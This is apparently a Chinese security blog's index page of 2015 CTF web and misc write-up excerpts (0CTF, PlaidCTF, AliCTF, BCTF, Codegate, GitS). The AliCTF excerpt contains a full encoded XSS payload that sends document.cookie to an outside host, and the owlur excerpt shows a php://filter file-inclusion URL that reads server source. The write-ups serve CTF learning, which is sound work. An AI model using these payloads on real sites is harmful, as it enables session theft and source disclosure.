Something about 0CTF2015 Final 0cms

web0ctf2015final  

0cms是机缘巧合在github上看到WebpyCMS,花了几个晚上的时间改出来的。现在0cms的源码已经放在github上了,有兴趣的同学可以自己搭环境玩玩~

出这道题的初衷是向RuCTFe 2014 glass题致敬,考察大家的编程能力、问题定位查找能力、代码审计等基本功。

漏洞分析

0cms基于web.py框架,含有逻辑错误、任意文件下载、任意文件上传、代码执行、越权访问和xss等问题。

继续阅读


PlaidCTF2015 ECE's Revenge2 writeup

miscplaidctf2015  

这是电路题,给了system verilog的源码,正对口味。

一眼看上去,首先定义了part_a,part_b,part_c,part_d四个基本模块,分布对应DQ触发器,进位加法器,多路选择器,计数器。通过线之间的互联,组成了一个比较复杂的datapath模块。

分析电路和逆向二进制一样,主要看关键数据和被输入影响的地方。
根据逻辑

part_a s({w_t, 1'b1, win_in, init}, 1'b0, reset, clock, {i_g_o, init_L, win, init_delay});

要使win为1,则需要win_in为1。win默认为0。一旦win为1,则win_inwin会一直保持为1。

继续阅读


AliCTF 2015 Final writeup

webalictf2015  

二进制进程

把c盘共享,映射到z盘,访问z盘中文件,即可得到flag

windows渗透

首先猜到.svn文件夹,通过svn可以获取apilist.php这一个文件源码。
逻辑中比较奇怪的地方为

function getapi_by_type($typeid=1)
{
    if (in_array($typeid, array(1,2,3,4))) {
        $sql="select * from apilist where typeid = ?";
        $sqlparameter = array($_GET['tyid']);

        $DB = new DBhelper();
        return $DB->query($sql,$sqlparameter);
    }
}
...
$apilist = getapi_by_type(intval($_GET['tyid']));


继续阅读


AliCTF 2015 Quals web writeup

webalictf2015  

排名结果已经出来了,就放出writeup吧~
个人还是比较喜欢Ali的题目,很基础。不过到了渗透部分就发现自己脑洞不够了。。
膜拜各位大神!

前端初赛题1

题目没有过滤<>#&等,但是过滤了().'"等符号,考虑svg标签。
基础payload为
window.location="http://5alt.me/"+document.cookie
进行xml编码

http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>&#119&#105&#110&#100&#111&#119&#46&#108&#111&#99&#97&#116&#105&#111&#110&#61&#34&#104&#116&#116&#112&#58&#47&#47&#53&#97&#108&#116&#46&#109&#101&#47&#34&#43&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101</script>

url编码后提交

http://089d9b2b0de6a319.alictf.com/xss.php?name=%3csvg%3e%3cscript%3e%26%23119%26%23105%26%23110%26%23100%26%23111%26%23119%26%2346%26%23108%26%23111%26%2399%26%2397%26%23116%26%23105%26%23111%26%23110%26%2361%26%2334%26%23104%26%23116%26%23116%26%23112%26%2358%26%2347%26%2347%26%2353%26%2397%26%23108%26%23116%26%2346%26%23109%26%23101%26%2347%26%2334%26%2343%26%23100%26%23111%26%2399%26%23117%26%23109%26%23101%26%23110%26%23116%26%2346%26%2399%26%23111%26%23111%26%23107%26%23105%26%23101%3c%2fscript%3e

可以成功得到cookie

继续阅读



BCTF 2015 web Writeup

webbctf2015  

webchat(350)

这道题是个websocket写的在线聊天程序。

Notice: All messages will be logged, and Big Boss will review your messages for anti-terrorism.

根据题目提示,Big Boss会在后台看消息,这题应该考察XSS。可是测试发现服务器过滤了<>等特殊字符,无法构成XSS的payload。
抓包发现,websocket发送数据的格式为username: message
写python模拟发包,由于最开始数据量较大,因此需要重复发包才能保证稳定的回显。

继续阅读


CodegateCTF 2015 Owltube Writeup

webCodegate2015  

□ description

==========================================

You're welcome to betatest our new social media site, it's going to be
the next big thing.

Server : http://54.64.164.100:5555/
Script : http://binary.grayhash.com/2a0182588cf5550cebb49876d94c7a2f/index.py

option : please check the notice board.

==========================================

□ number of solvers : 40
□ breakthrough by
1 : HackingForSoju (03/15 05:26)
2 : YYY (03/15 05:44)
3 : dcua (03/15 05:51)

这道题给了源码

是python+mongodb的组合。由于源码里并不涉及到文件操作和后台交互,因此判断flag一定在数据库里。

由于mongodb的性质,python不能像php那样传入数组,读完代码并没有发现可以直接注入的地方。

继续阅读


CodegateCTF 2015 owlur Writeup

webCodegate2015  

□ description

==========================================

http://54.65.205.135/owlur/

if you use a web scanner, your IP will get banned no bruteforce required, take it easy

==========================================

□ number of solvers : 59
□ breakthrough by
1 : rdot (03/14 10:43)
2 : cykor (03/14 10:52)
3 : 0ops (03/14 10:59)

题目主要有上传和查看两个页面。
在上传页面只能上传后缀为.jpg的文件,服务器会对上传后的文件重命名,但对内容不进行处理。
在查看页面能根据上传之后的文件名(id参数)来显示图片。id参数的值直接输出在页面中,导致xss,但此题并没有和后台交互的地方,故忽略。

正常的查看页面为
http://gate.grayhash.com:8800/owlur/index.php?page=view&id=random
经过测试发现把page参数改成index,会出现死循环。(后来修补掉了)
判断此处有文件包含,固定后缀为.php。
用php的filter读取文件内容。
http://gate.grayhash.com:8800/owlur/index.php?page=php://filter/convert.base64-encode/resource=index&id=su0J6Wj

继续阅读


Ghost in the Shellcode 2015 Web200 Writeup

webGhostintheShellcode2015  

Question 16 - aart Points: 200

Find the key! Server: http://aart.2015.ghostintheshellcode.com

题目给了源码
http://aart.2015.ghostintheshellcode.com/aart.tgz
分析源码,发现所有的输入都经过了mysqli_real_escape_string函数过滤,不存在注入。

程序的问题有:

  1. 输出未经过过滤,存在xss
  2. 用户名可以重复注册

因为程序中不涉及后台或者cookie,因此xss是没有用的。
于是开始读源码。

继续阅读